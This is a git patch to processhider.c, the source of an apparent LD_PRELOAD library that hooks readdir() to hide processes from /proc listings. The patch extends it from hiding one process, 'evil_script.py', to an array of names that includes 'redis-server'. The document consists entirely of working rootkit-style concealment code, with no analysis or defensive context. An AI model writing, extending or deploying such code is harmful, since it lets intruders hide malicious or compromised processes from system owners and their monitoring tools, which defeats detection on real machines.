From f9ef4010b15fb7c36cea933fc673ecffdaea94b5 Mon Sep 17 00:00:00 2001 From: Liu Jun Date: Mon, 4 Nov 2024 17:32:28 +0800 Subject: [PATCH] add multiple files to be hidden --- .gitignore | 2 ++ processhider.c | 21 +++++++++++++++------ 2 files changed, 17 insertions(+), 6 deletions(-) diff --git a/.gitignore b/.gitignore index 550b748..8441e55 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,3 @@ /libprocesshider.so +.idea +*.iml diff --git a/processhider.c b/processhider.c index 93a1f31..d3f31de 100644 --- a/processhider.c +++ b/processhider.c @@ -7,9 +7,10 @@ #include /* - * Every process with this name will be excluded + * Array of process names to filter */ -static const char* process_to_filter = "evil_script.py"; +static const char* processes_to_filter[] = {"redis-server", ""}; +static const int num_processes_to_filter = sizeof(processes_to_filter) / sizeof(processes_to_filter[0]); /* * Get a directory name given a DIR* handle @@ -43,7 +44,7 @@ static int get_process_name(char* pid, char* buf) char tmp[256]; snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid); - + FILE* f = fopen(tmp, "r"); if(f == NULL) { return 0; @@ -84,9 +85,17 @@ struct dirent* readdir(DIR *dirp) \ char process_name[256]; \ if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \ strcmp(dir_name, "/proc") == 0 && \ - get_process_name(dir->d_name, process_name) && \ - strcmp(process_name, process_to_filter) == 0) { \ - continue; \ + get_process_name(dir->d_name, process_name)) { \ + int skip = 0; \ + for (int i = 0; i < num_processes_to_filter; i++) { \ + if (strcmp(process_name, processes_to_filter[i]) == 0) { \ + skip = 1; \ + break; \ + } \ + } \ + if (skip) { \ + continue; \ + } \ } \ } \ break; \